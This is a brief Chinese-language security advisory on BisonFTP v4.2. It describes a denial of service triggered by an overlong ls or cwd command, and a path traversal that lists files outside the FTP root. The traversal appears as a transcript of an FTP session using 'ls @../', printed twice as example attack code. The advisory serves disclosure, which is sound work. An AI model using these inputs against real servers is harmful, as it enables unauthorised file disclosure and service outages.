涉及程序： BisonFTP v42(早期版本未经测试) 描述： BisonFTP中存在多重缺陷 详细： BisonFTP是一种FTP程序，在Microsoft Windows 9x/NT系统上使用。BisonFTP存在多重缺陷： 1.通过发送包含大量字节的FTP命令，将导致BisonFTP受到DoS攻击。通过发送4300或更多字节的ls或cwd命令，BisonFTP将占用100%的CPU资源。 2.通过哄骗BisonFTP，能揭露文件外部FTP root的机密信息。 ftp> ls @../ 227 Entering PASV Mode (10,10,10,10,4,126) 150 Directory List Follows -rwxrwxrwx 1 user group 739577 Feb 05 2002 BisonFTP42.exe 226 Listing complete. ftp> mget @../Biso local: BisonFTP42.exe remote: BisonFTP42.exe 227 Entering PASV Mode (10,10,10,10,4,128) 550 File does not exist ftp> 注意：BisonFTP42.exe不在ftp root内。 攻击方法： 示例代码： ftp> ls @../ 227 Entering PASV Mode (10,10,10,10,4,126) 150 Directory List Follows -rwxrwxrwx 1 user group 739577 Feb 05 2002 BisonFTP42.exe 226 Listing complete. ftp> mget @../Biso local: BisonFTP42.exe remote: BisonFTP42.exe 227 Entering PASV Mode (10,10,10,10,4,128) 550 File does not exist ftp> 解决方案： 目前厂商未公布该缺陷补丁，请用户及时关注厂商站点： http://www.bisonftp.com/